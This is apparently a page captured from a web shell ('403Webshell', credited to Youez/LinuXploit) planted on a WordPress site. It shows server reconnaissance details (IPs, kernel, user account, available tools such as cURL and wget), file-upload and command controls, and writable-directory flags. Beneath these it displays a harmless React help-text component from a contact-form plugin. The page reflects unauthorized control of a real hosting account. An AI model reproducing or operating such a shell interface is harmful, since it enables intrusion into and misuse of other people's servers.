403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.216.39
Web Server : Apache
System : Linux webm005.cluster102.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : symetry ( 21728)
PHP Version : 8.2.31
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/symetry/www/wp-content/plugins/contact-form-7-honeypot/src/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/symetry/www/wp-content/plugins/contact-form-7-honeypot/src/components/CF7AppsHelpText.js
import { useState } from "@wordpress/element";
import { __ } from "@wordpress/i18n";

const CF7AppsHelpText = (props) => {
    const [showMore, setShowMore] = useState(false);
    const { description } = props;
    
    return (
        <>
            { 
                ( description !== undefined && description != 'undefined' ) && (
                    <p>
                        {description.length > 90 && description.length > 100 ? (
                            <>
                                {showMore ? description : `${description.substring(0, 90)} ...`}
                                <span className="cf7apps-show-more-text" onClick={() => setShowMore(!showMore)}>
                                    {showMore ? ` ${ __( 'Show Less', 'cf7apps' ) }` : ` ${ __( 'Show More', 'cf7apps' ) }`}
                                </span>
                            </>
                        ) : (
                            description
                        )}
                    </p>
                )
            }
        </>
    );
}

export default CF7AppsHelpText;

Youez - 2016 - github.com/yon3zu
LinuXploit